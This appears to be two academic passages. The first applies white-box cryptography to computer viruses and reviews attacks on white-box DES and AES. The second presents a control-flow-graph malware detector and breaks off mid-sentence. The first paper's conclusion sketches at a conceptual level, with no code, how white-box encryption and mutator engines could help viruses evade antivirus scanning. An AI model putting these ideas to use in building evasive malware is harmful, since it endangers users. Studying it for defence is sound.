Before presenting WB-DES and WB-AES cryptanalysis, criteria for security
evaluation of a cryptographic primitive in black box context are presented.
In the WBAC context, we can consider other criteria, such as diversity or
ambiguity, which are able to account for cryptographic quality of a white box
encryption algorithm component. Diversity and ambiguity are mesures that
are able to qualify supposedly the robustness of the white box implementa-
tion. We apply this criteria to WB-DES and WB-AES algorithms.
Finnaly, we present the main cryptanalysis of which these two algorithms
were the subject.

Black box security criteria
Black box analysis of DES algorithm leaded to de�nition of general security
criteria (such as strict avalanche or propagation criteria) on the confusion
boxes of an iterated encryption system as regards to linear and di�erential
cryptanalysis. The vectorial functions f : Fm

2 → Fn
2 that are the most robust

against these attacks are bent or perfectly non-linear functions, when m = n,
and almost bent functions otherwise. These functions are characterized by
minimal correlation with a�ne functions and shifted functions of f .
These criteria are also fondamental for design and evaluation in the white
box context for several reasons:

• in the �rst place, a white box implementation must also be resistant to
black box cryptanalysis ;

• secondly, the white box cryptography uses black box methods, with
�ner granularity (here, each lookup table can be seen as a black box,
of which we try to extract information or the key) ;

• lastly, design of an encryption algorithm tailor-made to be white box
resistant can lean upon these criteria to prove its security.

About the above remark, it should be noticed that the random generation of
bent functions is not an easy task.



White box diversity and ambiguity criteria
The diversity measure consists in counting the number of di�erent implemen-
tations that it is possible to generate (including the variation of embedded
keys). This measure is important because it characterises the ability of the
obfuscator to stave o� large scale attacks (a priori). Attacks speci�c to an
instance then only have a limited range.

De�nition 2 (White box diversity (Chow et al., 2002b)). The white box di-
versity metric counts the number of distinct constructions or decompositions,
namely the number of possible encoded steps.

As an example, table 3 gives the diversity measures of the four types of
lookup tables that are used in the AES white box implementation6. However

type diversity
type I (16!)2 × 2016064 × (16!)32

type II (16!)2 × 256× 262.2 × 2256 × (16!)8

type III (16!)2 × 2256 × (16!)8

type IV (16!)2 × 16!

Table 3: Diversity of WB-AES lookup tables

this measure does not account for an implementation robustness against an
attack which aims to extract the embedded key. In order to better qualify the
robustness of an implementation, it is more interesting to count the number
of constructions, namely the number of keys and random bijections reaching
the same lookup table. The bigger this number is, the more ambiguity is
introduced by the obfuscator. The ambiguity metric enables to account for
the space of possibility the attacker must face in order to �nd the exact
combination key/bijection used at the time of the generation of the white
box instance that he holds.

6 For the reader who wants to check the calculus, let us remember that there are 2n!

bijections Fn
2 → Fn

2 , and among them 2n
n−1∏
i=0

(2n − 2i) a�ne bijections (and
n−1∏
i=0

(2n − 2i)

linear bijections). Moreover, the Moivre-Stirling formula gives the approximation: n! '√
2πn

(
n
e

)n (for n big enough).



De�nition 3 (White box ambiguity (Chow et al., 2002b)). The white box
ambiguity metric is an estimate of the number of constructions that produce
exactly a certain table (of a given type). It is de�ned as the ratio of its white
box diversity and the number of distinct tables (of this type).

As an example, table 4 gives an approximation of the ambiguity measures of
the four types of lookup tables that are used in the AES white box imple-
mentation.

type ambiguity
type I (16!)2 × 2016032

type II
type III (16!)2 × 15! if the two blocks of the matrix are of null rank

(16!)2 × 201602 if the two blocks of the matrix are of full rank
type IV 16!× 16

Table 4: Ambiguity of WB-AES lookup tables

Cryptanalysis of two white box implementations
WB-DES cryptanalysis

Let us remember that in the DES white box implementation, a 96 bits word
goes through lookup tables. This word or internal state is represented in �g-
ure 1 by the concatenation of blocks Lr−1 ∈ F32

2 , Xr−1 ∈ F48
2 and Rr−1 ∈ F16

2

: Lr−1||Xr−1||Rr−1.

Let us subdivise the internal state Lr−1||Xr−1||Rr−1 of round r into 8-bits
words. It is thus represented as the concatenation of 12 binary words:
vr

1||vr
2|| . . . ||vr

12. Each word vr
i represents the encoded input of a T-Box T r

i ,
which can be of two sorts: either a non-linear T-Box (embedding a S-Box)
or a bypass T-Box. The attack (Gorissen, Michiels, Preneel, & Wyseur,
2007) works directly on the vectors vr

i , by the addition of di�erences de-
noted ∆v (or equivalently by the substitution of vi to a value v′i. Indeed,
vi ⊕ v′i = ∆v ⇔ vi ⊕∆v = vi ⊕ vi ⊕ v′i = v′i). Because on the one hand the
vectors vr

i are encoded versions of true inputs f r
i (vr

i ) of the T-Box and on
the other hand the encodings f r

i are not linear, it is not possible to deduce



from ∆v the di�erence that is really applied to the input f r
i (vr

i ). Therefore,
the attack observes the propagation of these di�erences on the T-Boxes of
the next rounds (r + 2, r + 3 and r + 4).

Thus the attack expoits the noteworthy properties of the DES round function:
input bits do not a�ect all output bits of the round function. By analyzing
the propagation of a di�erence ∆v = v⊕v′ on the input of an encoded T-Box
(namely g ◦T ◦f) through several rounds, it is possible to obtain information
about the internal behavior of this di�erence. When identi�ed a set of dif-
ferences: {∆v | f(∆v) corresponds to one or two bits �ips on input to T}, it
is possible to recover the key embedded in the white box implementation.

The di�erential cryptanalysis described in (Gorissen et al., 2007) works as
follows:

1. in the �rst place, distinguish the non-linear T-Boxes among the 12
T-Boxes ;

2. secondly, partially discover the random permutation πr that is applied
to the non-linear T-Boxes, by using a standard (black box) implemen-
tation of the DES algorithm ;

3. lastly, extract the key Kr.

In conclusion, this attack exploits the weakness of the DES round function.
In order to thwart such an attack, the last resort to improve this design
seems to be the randomization of the S-Boxes. If such a modi�cation of the
DES is clearly unacceptable (mainly because the S-Boxes have strong secu-
rity properties, as stated in section ), it could be an interesting trail in the
viral context, even if random generation of such vectorial boolean functions is
not a trivial task. Indeed, an attacker would have to reconstruct the S-Boxes
for each new version of the algorithm.
Let us see now the white box resilience of a much stronger encryption al-
gorithm, namely AES, which round function seems to be immune to such a
di�erential attack.



WB-AES cryptanalysis

As shown in section , a round of the obfuscated AES is made of two lookup
tables. The �rst one achieves the operations AddRoundKey, ShiftRows and
MixColumns (the last round is slightly di�erent), whereas the second, in-
serted between rounds r and r + 1, reverse the linear bijections that are
inserted both:

• before the output encoding of the lookup table implementing round r,
as well as

• after the input encoding of the lookup table implementing round r +1.

A lookup table being a particular representation of a vectorial boolean func-
tion, it is very possible to compose the lookup tables between them when
they match. This fact is exploited by the cryptanalysis (Billet, Gilbert, &
Ech-Chatbi, 2004). Let us consider the four bijections that map 4 bytes of
the current state to 4 bytes of the following state. Each of these bijections
is noted Rr

j , j = 0, . . . , 3, r = 1, . . . , 9 (c.f. Figure 2). The heart of Rr
j is

the concatenation of 4 T-boxes, followed by the multiplication by MC. This
core is protected in input and output by encodings (8 in total: 4 in input, 4
in output). Let us recall that the latter are made of:

• in input, the concatenation of two 4-bits encodings, followed by a 8-bits
linear bijection ;

• in output, a 8-bits linear bijection, followed by the concatenation of
two 4-bits encodings.

The cryptanalysis aims at recovering the parasits safeguarding R-Boxes. To
do so, the attackers proceeds in several steps:

1. In the �rst place, linearize the P-Boxes and Q-Boxes, by recovering
their non-linear part.

2. After removing the non-linear parts of P-Boxes and Q-Boxes, we obtain
unknown a�ne bijections. The second step of the attack consists in
recovering the linear component along with the translation vector.



Figure 2: Rr
j , j = 0, . . . , 3, r = 1, . . . , 9

3. The recovery of the linear bijections makes it possible in the same time
to recover the round keys that are integrated in the S-Boxes, but in
an unknown order. The last step thus consists in exploiting the con-
straints that lean on these bytes in order to classify them in the right
order. These constraints come from the cadencing algorithm.

In conclusion, it seems di�cult to hide the algebrical structure of AES by
only using encoded non-linear bijections. In order to thwart this attack, one
could introduce a linear di�usion operation right after the �rst encoding (let
us note this new 32× 8 lookup table network D−1

1 ), an operation D2 (8× 32
lookup table network) being inserted right after the substitution stage. We
can expect that the noise introduced by these random permutations makes
the second step of the cryptanalysis - i.e. after encodings linearization - more
di�cult .

Polymorphism
We give here a brief view of pros and cons of the use of lookup tables. Let
us remember that polymorphism can be formalized as a generative grammar
production. The more irregular the grammar is, the more di�cult it is to
derive an automaton from the grammar that is able to detect the encryption
function.

From a theoretical point of view (Zuo & Zhou, 2004), the kernel of a poly-



morphic virus is made of an infection trigger condition I(d, p), a payload
function D(d, p), the corresponding payload trigger condition T (d, p) and a
selection function S(p) of target programs to infect. The latter function is in
charge of the code mutation.
Metamorphic viruses di�er from polymorphic viruses since while polymorphic
forms of a virus share the same kernel, metamorphic forms of a virus do not.
Using formal generative grammars, it is possible to give a more practical def-
inition of metamorphism: Let G = (N, T, S, R) be a formal grammar, where
N is a set of non-terminal symbols, T is an alphabet of terminal symbols,
S ∈ N is the start symbol and R is a production (or rewriting or semi-Thue)
system over (N ∪ T )∗, namely a set of rule producing the langage L(G). We
de�ne G′ = (N ′, T ′, G, R′) where the alphabet of terminal symbols T ′ is a set
of formal grammars, and R′ is a set of production rules over (N ′ ∪ T ′)∗.

De�nition 4 (Metamorphic virus (Filiol, 2007)). A metamorphic virus is
a virus whose mutation engine is described by a grammar whose words are
themselves a set of productions with respect to a grammar. A metamorphic
virus is thus described by G′ and every of its mutated form is a word in
L(L(G′)).

Thus from one metamorphic form to another, the virus kernel is changing:
the virus is mutating and changes the mutation rules at the same time.
With regards to the detection complexity of mutation techniques, several
theoretical results have already been established:

• detection of bounded-length polymorphic viruses is an NP-complete
problem (Spinellis, 2003);

• the set of polymorphic viruses with an in�nite number of forms is a
Σ3-complete set (Zuo & Zhou, 2003);

• some code mutation technique embedding the word problem - which is
known to be undecidable with respect to a semi-Thue system - leads to
metamorphic viruses whose detection is undecidable (Filiol, 2007). The
PBMOT engine's productions rules change from mutation to mutation
and is specially designed to embed the word problem (with respect to
a semi-Thue system).



The formal frame being presented, the main question that arises in our
context is to prove that the white box implementation is suited to hinder
sequence-based antiviral detection, by using a mutator engine. Because the
implementation data is diversi�ed by use of random bijections, only the code
handling must cancel as much as possible any potential �xed element that
would represent a potential detection pattern. Intuitively, because the in-
struction set required is very small and corresponds only to instructions
needed to walk through a table, production rules can map such instructions
to any chunk of code. Further investigations are required in order to check
this assumption. Moreover, several behaviors may represent useful invariant
that can be considered by antivirus, such as linear walk of lookup tables.

Conclusion
We presented in this paper a new use of white box cryptography in the viral
context. WBAC cryptographic mechanisms enable an original way of key
management, by embedding the keys in the implementation with a partial
evaluation as regards to the key. This key management mode de�nes an
original alternative to the environmental key generation (where the key is
not embedded in the program body but dynamically generated starting from
trigger information existing in the virus environment) or to the use of an
asymmetric key infrastructure (where only the public key is stored in in the
virus body). This mechanism o�ers a trade-o� between symmetric and asym-
metric encryption, by asymmetrication of the implementation of an iterated
block cipher.

WBAC cryptographic mechanisms enable a signi�cant diversi�cation of im-
plementations, by integration of random bijections (used to encode the in-
put/output of lookup tables or to insert an additional di�usion step by means
of mixing bijections). Besides to ensure local security, this randomization
of implementations enables to generate numerous partial evaluations of the
encryption algorithm, for a single key setting. Furthermore, the algorithm
implementation does not contain any arithmetical operation (it only contains
operations enabling the data�ow to transit through a network of lookup ta-
bles). It is therefore easier to generate polymorphic instances of the algo-
rithm by using a mutator engine (the CPU instruction subset used by such
an implementation is reduced to basic memory handling instructions. These



instructions are thus easy to diversify).
In the viral context, these properties are welcome. In particular, the corre-
sponding obfuscation transformation could be applied to assymetric cryptog-
raphy and to hash functions, in order to increase the polymorphism level of
encryption and environmental key generation functions.

WBAC cryptographic mechanisms enable a noteworthy strength against crypt-
analysis in WBAC context: even if the proposed mechanisms are not as re-
silient in white box as in black box so far, the �rst attempts are encouraging,
given that encryption algorithms are not so easy to break. If they do not
yet o�er a su�cient security level for digital right management or critical
applications, their potential use in a viral context already poses a problem
that must be taken into consideration by antivirus reasearch. If compila-
tion chains specialized in software protection are not widely available for end
users, this fact could change in the next few years. In the same way as viral
applications used specialized packers to increase their strength against re-
verse engineering, we can imagine that they use more complete solutions and
integrating white box cryptographic mechanisms, enabling them to ensure
an in depth protection.

Countermeasures and limitations
We made the conjecture that a virus whose code is only made of the CPU
instructions that are required to walk through tables, the latter being wholly
recomputed at each copy of the viral code, is a code that is easier to remodel
than a code containing static immuable data and rich in arithmetical instruc-
tions. We observe that in order to be able to evade an antiviral detection
program, a special attention must be paid to the mutator engine. It is also
required to reinforce the robustness of the white box cryptographic primi-
tive by other security mechanisms. In particular, other software protection
mechanisms must thwart an attaker to extract the code implementing the
encryption function, that he could use as a key. In the CSS software suite,
these security hypotheses are covered by the use of a specialized compilation
chain, making it possible to integrate additional protections at every step of
the compilation, in order to ensure an in depth protection of the application.



Future works
Several additional tasks could be made in order to give a more complete
overview of this technology:

• investigate the robustness of white box implementations of AES al-
gorithm with key sizes 192 and 256, along with the additional linear
bijections described in section and with a possible randomization of
the substitution boxes7 ;

• investigate a grammar-based implementation of the mutator engine,
tailor-made to exploit the structure of white box implementations.
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An implementation of morphological malware detection

Abstract

This study proposes an efficient construction of a morphological malware detector that is a detector  
which associates syntactic and semantic analysis. The detection strategy is based on control flow  
graphs of programs (CFG). Our construction employs tree automata techniques; this provides an 
efficient representation of the CFG database. Next, we deal with classic mutations using a generic 
graph rewriting engine. Finally, we carry out experiments to evaluate the false-positive ratio of the  
proposed methods.

Introduction

String signature based detections use a database of malware signatures made of regular expressions 
and a string matching engine to scan files and detect infected ones. There are two difficulties, which 
are bound to this kind of detection approach. First, the identification of a malware signature requires 
a human expert and the time to forge a reliable signature is long compared to the time related to a 
malware attack. Second, string signature approach might be bypassed by obfuscation methods, see 
for example some recent works like (Beaucamps & Filiol, 2007; Christodorescu & Jha, 2004; Filiol 
2006.)  Thus,  a  current  trend in the community proposes to  design next  generation of malware 
detectors  based  on  semantics  aspects  (Dalla  Preda,  Christodorescu,  Jha  &  Debray,  2007; 
Christodorescu, Jha, Seshia, Song & Bryant, 2005; Walenstein, Mathur, Chouchane, & Lakhotia, 
2006.)  However,  a  major  difficulty  is  to  have  an  efficient  approach based  on  some semantics 
properties. Indeed, heuristic can be very complex as it is illustrated in the field of computer safety.

For this reasons, we try to propose (Bonfante, Kaczmarek, & Marion, 2007) and to construct a 
morphological analysis in order to detect malware. The idea is to recognize the shape of a malicious 
program. That is, unlike string signature detection, we are not only considering a program as a flat 
text, but rather as a semantics object, so adding in some sense a dimension to the analysis. Our 
approach tries to combine several features: (a) to associate syntactic and semantic analysis, (b) to be 
efficient and (c) to be as automatic as possible.

Our morphological detector is based on control flow graphs (CFG) of programs. We use a set of 
CFG which plays the role of a malware signature database. Next, the detection consists in scanning 
files in order to recognize the shape of a malware.  As we see,  the design is closed to a string 
signature based detector and so we think that both approaches may be combined in a near future. 
Moreover,  it  is  important  to  notice  that  this  framework  makes  the  signature  extraction  easier. 
Indeed, either the extraction is fully automatic when the malware CFG is relevant or the task of 
signature makers is facilitated since they can work on an abstract representation of malware.

This detection strategy is  close to (Christodorescu,  Jha,  Seshia,  Song & Bryant,  2005; Bruschi, 
Martignoni & Monga, 2006) but our method is quite different. In order to efficiently implement this 
morphological detector, we use tree automata. Tree automata constitute a generalization to trees of 
finite state automata over strings (Comon, Dauchet, Gilleron, Jacquemard, Lugiez, Tison, et al., 
1997). Here, we transform CFG into trees with, intuitively, pointers in order to represent back edges 
and cross edges. Then, the collection of malware signatures is a finite set of trees and so a regular 
tree language. Thanks to Myhill-Nerode construction, the minimal automaton gives us a compact 
and efficient database. Finally, we can decide whether or not a program is a malware in a linear time 
with respect to our heuristics, and in quadratic time, that is O(n2), in the general case of a potentially 
infected program of size n (This upper bound should be also improved in future works.)



This design has several advantages. First, the construction of the database is iterative and it is easy 
to  add  the  CFG  of  a  newly  discovered  malicious  program.  Second,  the  use  of  tree  automata 
techniques provides efficient algorithms.

Another issue of malware detections is the soundness with respect to classic mutation techniques. 
Here, we detect isomorphic CFG and so we take into account several classical obfuscation methods. 
Moreover,  we  add  a  rewriting  engine,  which  normalizes  CFG  in  order  to  have  a  robust 
representation of the control flow with respect to mutations. Related works are (Bruschi, Martignoni 
& Monga, 2006; Christodorescu, Jha, Kinder, Katzenbeisser & Veith, 2007; Walenstein, Mathur, 
Chouchane, & Lakhotia, 2006) where program data flow is also considered. Figure 1 summarize 
this design.  

 
Figure 1:  Design of the control flow detector

We also provide large scale experiments, with a collection of 10156 malicious programs and 2653 
sane programs. Those results are promising; with a completely automatic method for the signature 
extraction we have obtained a false positive ratio of 0.1%. But we have to mention that our detector 
does  not  yet  include  routines  to  handle  packing  or  encryption  techniques.  This  constitutes  a 
limitation of our current implementation.

This  study  is  organized  as  follow.  In  Section 1  we detail  how to  extract  CFG from assembly 
programs. In Section 2 we explain how to obtain a term representation of graph and we show that 
this  representation  allows  to  easily  deciding  isomorphism  over  CFG.  Section 3  presents  the 
compilation  of  the  CFG into  a  compact  and  efficient  database.  Then  we  show how to  detect 
malware infection using this database. Section 4 explains how to handle classic mutations thanks to 
graph rewriting techniques. Finally, Section 5 presents experimental results.

1 Control flow in assembly x86

1.1  The language

We consider a light assembly x86 language in order to expose our ideas. Of course the following 
development  can  be  directly  adapted  to  real  assembly  languages.  Indeed,  the  subsequent 



experiments are done with real x86-32bit binary programs. The light assembly x86 is defined 
by the following grammar. 

Addresses: N

Relative offsets: Z

Registers: R

Expressions: E  ::= Z | N | R | [N] | [R]
Flow instructions: If  ::= jmp E | call E | ret | jcc Z

 Sequential instructions: Id  ::= mov E E | comp E E | …
Programs: P  ::= Id | If | P;P

All along, a program is a sequence of instructions p = i0;…;in-1. For any instruction ik, we say that k 
is its address and we write |p| = n the size of  p. In order to ease the reading and without loss of 
generality, we suppose that  i0 is the first instruction to be executed, the address 0 is the so called 
entry point of the program. 

1.2 Control flow graphs

The control flow consists in the different paths that might be traversed through the program during 
its  execution.  It  is  frequently  represented by a  graph named a  control  flow graph (CFG).  The 
vertices  stand for  addresses  of  instructions and the  edges  represent  the  possible  paths  that  the 
control flow can follow. The present section is devoted to the representation and the extraction of 
the CFG. 

Definition 1 (Rooted directed graph.)

Let LV and LA be two sets of labels. A rooted directed graph is defined by a tuple G = (V, µ, A, r) 
where 

• V is the set of vertices. 

• µ : V → LV is a total function assigning labels to the vertices. 

• A ⊂ V × LA × V is the set of labeled edges. 

• r ∈ V is the root. 

We say that the vertices of G are labeled over LV and the edges of G are labeled over LA. Given a 
rooted directed graph G = (V, µ, A, r), we recall that the degree of a vertex v ∈ V, noted DegG(v), is 
the number of outputs of  v that is the number of edges in A of the kind (v, j, w) with  j ∈ LA and 
w ∈ V.

The vertices of the CFG are labeled accordingly to the instruction at the night address. We consider 
the following symbols where the arity corresponds to the number of possible transfers. 

• The  symbol  inst of  arity  1  labels  addresses  of  sequential  instructions.  There  is  one 
successor: the address of the next instruction. 

• The symbol jmp of arity 1 labels addresses of unconditional jumps. There is one successor: 
the address to jump to. 



• The symbol jcc of arity 2 labels addresses of conditional jumps. There are two successors: 
the address to jump to when the condition is true and the address of the next instruction. 

• The symbol call of arity 2 labels addresses of function calls. There are two successors: the 
address  of  the  function  to  call  and  the  return  address  that  is  the  address  of  the  next 
instruction. 

• The symbol end of arity 0 labels addresses of function returns and undefined instructions. 
There is no successor. 

Definition 2 (Control flow graph (CFG).)

A CFG is a rooted directed graph G = (V, µ, A, r) with the set of vertex labels 
LV = {inst, jmp, jcc, call, end} and the set of edge labels LA = {1, 2}. Moreover we require that 
any vertex v ∈ V satisfies 

• The degree of v is equal to the arity of its label µ(v). 

• The output edges of v are labeled from 1 to DegG(v), that is 

{j | ∃v' ∈ V:(v, j, v') ∈ A} = {1, …, DegG(v)} (1)

For any CFG  G, its size |G|  is defined as the number of its vertices. Since the vertex degree is 
bounded by 2, we observe there are at most twice as edges as vertices in a CFG.

We observe that for any CFG G = (V, µ, A, r) there is a successor function SuccG : V × LV→V such 
that  for  any vertices  v, w ∈ V and any integer  j < DegG(v)  we have (v, j, w) ∈ A if  and only if 
SuccG(v, j) = w.

The idea behind the mathematical structure of CFG is that the vertices stand for the addresses of 
instructions and the root corresponds to the entry point. The vertices are labeled by symbols of Lv 
accordingly to the kind of instruction at the night address. The edges represent the possible transfers 
of control flow; as a result we require that the degree of any vertex is equal to the arity of its label. 
Next, we label the output edges of a vertex in order to distinguish the different transfers. 

1.3 Extraction

The extraction of a perfect CFG is not computable in general.  Indeed, this computation can be 
reduced to the halting problem. Briefly, we consider a program p and we build another program p' 
which calls  p and then returns. If the last return instruction is reachable in the perfect CFG of  p' 
then we know that p terminates, otherwise p does not.

We conclude that only an approximated CFG can be extracted from programs. We define such an 
approximation relying on an heuristics [ ] : E→Z ∪ N ∪ {⊥}. For any expression e ∈ E, if its value 
can be statically computed then [e] returns the evaluation of  e, otherwise [e] is undefined and it 
returns ⊥. Such a heuristic can be based on partial evaluation, sand-boxing emulation or any other 
static analysis technique.

Table 1 presents a method to extract the elementary pieces of the CFG from the instructions of a 
program. We underline that if an expression cannot be evaluated then the extraction yields an end 
node. According to Table 1, for any program p ∈ P, we define the CFG of p as 

CFG(p) = ( ∪n≤|p| Vn,  ∪n≤|p| µn,  ∪n≤|p| An, 0)



Instruction Vn, µn, An Graph

in ∈ Id

Vn = {n, n + 1}
µn = {(n, inst)}

An = {(n, 0, n + 1)}

in = jmp e
[e] = k

Vn = {n, k}
µn = {(n, jmp)}
An = {(n, 0, k)}

in = call e
[e] = k

Vn = {n, n + 1, k}
µn = {(n, call)}

An = {(n, 0, n + 1), (n, 1, 
k)}

in = jcc x

Vn = {n, n + 1}
µn = {(n, jcc)}

An = {(n, 0, n + 1), (n, 1, 
k)}

Otherwise
Vn = {n}

µn = {(n, end)}
An = ∅

Table 1:  Control flow graph extraction

The  attentive  reader  may  remarks  that  this  extraction  method  can  yield  unconnected  CFG. 
Computing a traversal from the root, we can remove the unreachable vertices. As a result, in the 
following we consider connected CFG; in other terms we suppose that all vertices are reachable 
from the root.

Figure 2 presents an assembly program and the CFG obtained from the rules of Table 1.

Program Control flow graph

Figure 2:  Example of a control flow graph extraction



2 From graphs to terms

As we have previously explained our malware CFG database is represented by a tree automaton 
which recognizes a tree language. In order to use this design we require a tree representation of 
CFG such that the problem of CFG isomorphism can be described as tree equality. This section is 
devoted to this aspect.

2.1 Paths in graphs

The constraint of edges labeling in CFG allows identifying a path from the root to a vertex by the 
sequence of the edge labels traversed to reach the vertex. 

Definition 3 (Path.)

Let G = (V, µ, A, r) be a CFG, let v ∈ V be a vertex and let i0, …, in ∈ N. The integer sequence i0…
in is a path from the root to the vertex v in G if there are n vertices v1, …, vn ∈ V such that

(r, i0, v1), (v1, i1, v2), …, (vn, in, v) ∈ A

Clearly there possibly exist several paths from root to a vertex v. From this set, we will consider the 
depth first path to v that is the minimal path to v under the lexicographic order. We recall that the 
lexicographic  order  <l over  integer  sequences  is  defined  as  follows.  Let  ε  denote  the  empty 
sequence, let i, j ∈ N be integers such that i < j and let ρ, µ ∈ N* be integer sequences we have

ε <l iρ iρ <l jµ ρ < lµ ⇒ iρ <l iµ

Definition 4 (Depth first path.)

Let G = (V, µ, A, r) be a CFG, let v ∈ V be a vertex. The depth first path to the vertex v in G is

DFpathG(v) = min<l{ρ | ρ is a path from the root to v in G}

The depth first path corresponds to the path obtained by a depth first traversal of the CFG. The 
intuition is that a depth first path uniquely identifies a vertex in a graph; it is some kind of indexing 
of vertices. For example in Figure 3, the set of paths form the root to the unique vertex labeled by 
end is {111, 12, 2111, 212, 22} and 111 is the depth first path to this vertex. 

 
Figure 3:  Example of depth first path

2.2 Canonical term

Throughout,  it  should  be  clear  that  terms can be  represented by  trees.  We will  switch  from a 
representation to the other for convenience. We define a term representation of CFG. The idea is to 



take a spanning tree obtained by a depth first traversal of the CFG and to add nodes labeled that act 
as pointers which represent the missing back edges and cross edges.

Given a ranked set of symbols C, we recall that the terms of T[C] are inductively defined as 

• If c ∈ C is a symbol of arity 0 then c ∈ T[C]. 

• If c ∈ C is a symbol of arity i and T1, …, Ti ∈ T[C] then c(T1, …, Ti) ∈ T[C]. 

We consider terms of T[LV ∪ N*] where symbols of N* have arity 0. The canonical term of a CFG is 
obtained by a depth first traversal of the CFG where 

• An unexplored vertex v yields the term µ(v)(T1, …, Ti) with i = DegG(v) and where the sub-
terms T1, …, Ti are respectively obtained by the traversal of the successors

• SuccG(v, 1), …, SuccG(v, i). 

• An already explored vertex v yields the term DFpathG(v). 

We give a more formal definition of this notion.

Definition 5 (Canonical term.)

The canonical term of a graph G = (V, µ, A, r) is defined as CTerm(G) = Trav(G, r, ε) where

Trav(G, v, ρ) = µ(v)(T1, …, Ti) if DFpathG(v) = ρ
with i = DegG(v) and Tj = Trav(G, SuccG(v, j), ρj)

(2)

DFpathG(v) Otherwise

For example, the canonical term of the CFG of Figure 4 is jcc(jcc(inst(jmp(end)), 1111), 11) 
Figure 4 also presents the tree representation of this term. 

   
Figure 4:  A CFG (left) and its canonical term (right)

The size of a tree T, written |T|, is defined as the number of nodes in T. We observe that the number 
of nodes in the tree representation of a CFG G is bounded by twice the number of vertices in G, that 
is |CTerm(G)| = O(|G|).



Theorem 6.

Two CFG G1 = (V1, µ1, A1, r1) and G2 = (V2, µ2, A2, r2) are isomorphic if and only if

CTerm(G1) = CTerm(G2).

3 Efficient database management

Morphological  detection  is  based  on  a  set  of  malware  CFG which  plays  the  role  of  malware 
signatures. This collection of CFG is compiled into a very efficient CFG database thanks to the term 
representation that we have defined above and thanks to a tree automaton. We propose to build a 
tree automaton which recognizes all  the canonical terms of malware CFG. Since tree automata 
fulfill a minimization property, we obtain an efficient representation of the database. Next, we apply 
this framework for the sub-CFG isomorphism problem in order to detect malware infection.

3.1 Tree automata

A finite tree automaton over C is a tuple A = (Q, C, Qf, ∆), where Q is a finite set of states, Qf⊂Q is 
a set of final states and ∆ is a finite set of transition rules of the type a(q1, …, qi) → q with a ∈ C 
has arity i and q, q1, …, qi ∈ Q.

A run of an automaton on a term T starts at the leaves and moves upward, associating a state with 
each sub-term. Any symbol a of arity 0 is labelled by q if a → q is a rule of ∆. Next, if the direct 
sub-terms T1, …, Tn of a term T = f(T1, …, Tn) are respectively labeled by states q1, …, qn then the 
term T is labeled by the state q if a(q1, …, qi) → q is a rule of ∆. Next, a term T is accepted by the 
automaton if the run labels T with a final state. We observe that a run on a term T can be computed 
in linear time, that is O(|T|).

For any automaton  A,  we write  L(A) the set  of terms accepted by  A.  A language of terms  L is 
recognizable if there is a tree automaton A such that L = L(A). We define the size |A| of an automaton 
A = (Q, C, Qf, ∆) as the number of rules in ∆.

Tree automata have interesting properties. First, it is easy to build an automaton which recognizes a 
given finite set of terms. This operation can be done in linear time, that is O(n) where n is the sum 
of the sizes of the terms in the language. Second, we can add new terms to the language recognized 
by an automaton computing a  union of  automata,  see (Comon,  Dauchet,  Gilleron,  Jacquemard, 
Lugiez, Tison, et al., 1997). The union of two automata A and A' can be computed in linear time, 
that is O(|A'| + |A|).

Finally, for a given recognizable term language, there exists a unique minimal automaton in the 
number of states which recognizes this language. This property ensures that the minimal automaton 
is the best representation of the term language in terms of tree automata. 

Theorem 7 (Comon, Dauchet, Gilleron, Jacquemard, Lugiez, Tison, et al., 1997.)

For any tree automaton A which recognizes a term language L we can compute in quadratic time a 
tree automaton  which is the minimum tree automaton recognizing L up to a renaming of the states. 

3.2 Efficient representation of a malware CFG database

We explain how this framework can be used to detect malware infections. Suppose that we have a 
set  G = {G1, …, Gn} of  malware  CFG.  First  we  transform  G into  the  corresponding  set 
CTerm(G) = {CTerm(G1), …, CTerm(Gn)} of canonical terms. Since CTerm(G) is finite, there is a tree 
automaton A which recognizes L(A) = CTerm(G). Let p ∈ P be a program with CFG G. Computing a 



run of A on CTerm(G), we can decide in linear time if CTerm(G) ∈ CTerm(G). Following Theorem 6, 
this means that that we can efficiently decide if there is an isomorphic copy of G in G. In this case, 
we can suspect that p is malicious because its CFG is the same as the one of a malicious program. 
This intuition has been confirmed by our experiments as we shall see in a while.

We can do even better. From the tree automaton  A, we can construct the corresponding minimal 
automaton. This speeds up the detection. From a practical point of view, the minimal automaton is 
the most efficient representation of the malware CFG database. 

We do a brief complexity analysis of this method. Concerning the automaton A, for any malicious 
program m in a set of malware M we have to 

• Extract its CFG G, this is done in time O(|m|). 

• Convert G into T = CTerm(G), this is done in time O(|G|). 

• Convert G into an automaton AG, this is done in time O(|T|). 

• Compute the union of AM and AG, this is done in time O(|AG|). 

Then, we have to minimize AM, this is done in time O(|AM|2). We conclude that the database can be 
built in quadratic time that is 

Concerning the detection, for any program p to analyze we have to 

• Extract its CFG G, this is done in time O(|p|). 

• Convert G into T = CTerm(G), this is done in time O(|G|). 

• Compute the run of AM on T, this is done in time O(|T|). 

• If the tree automaton accepts then p is detected as a malware. 

We conclude that the analysis of a program is done in linear time, that is O(|p|)

3.3 Detecting infections

When a malicious program infects another program, it includes its own code within the program of 
its host. Then, we can reasonably suppose that the CFG of the malicious program appears as a sub-
graph of the global CFG of the infected program. As a result, we can detect such an infection by 
deciding the sub-graph isomorphism problem within the context of CFG.

Definition 8 (Sub-CFG.)

Given a CFG G = (V, µ, A, r), a sub-CFG of G is a CFG S = (VS, µS, AS, rS) such that 

• VS⊂V 

• if v ∈ VS then µS (v) = µ(v) otherwise µS (v) is undefined

• AS = A∩(VS × N × VS) 

First we have to remark that we are not confronted with the general sub-graph isomorphism since 
CFG are graphs with strong constraints. As a result, the sub-CFG isomorphism problem is not NP-
complete. Indeed, we observe that a CFG G = (V, µ, A, r) composed of n vertices has n distinct sub-
CFG. If a vertex v ∈ V is in a sub-CFG S then Definitions 2 and 8 implies that all successors of v 
are also in  S. Since there are  n possible roots for a sub-CFG in  G we conclude that there are  n 



distinct  sub-CFG.  We are  ready  to  solve  the  sub-CFG isomorphism problem by mean  of  tree 
automata parsing. 

Corollary 9.

 Let {G0, …, Gn} be a finite set of CFG, let  A be a tree automaton which recognizes the language 
{CTerm(G0), …, CTerm(Gn)}, let G be a CFG whose sub-CFG are {S0, …, Sp}. There is a sub-CFG of 
G isomorphic to a CFG of {G0, …, Gn} if and only if  A recognizes one of the terms CTerm(S0), …
, CTerm(Sp).

Proof. Direct consequence of Theorem 6. 

QED

We do a brief complexity analysis of the method associated to Corollary 9. Let p be a program to 
analyze and let  G be its CFG composed of  n vertices. There are n distinct sub-CFG of at most  n 
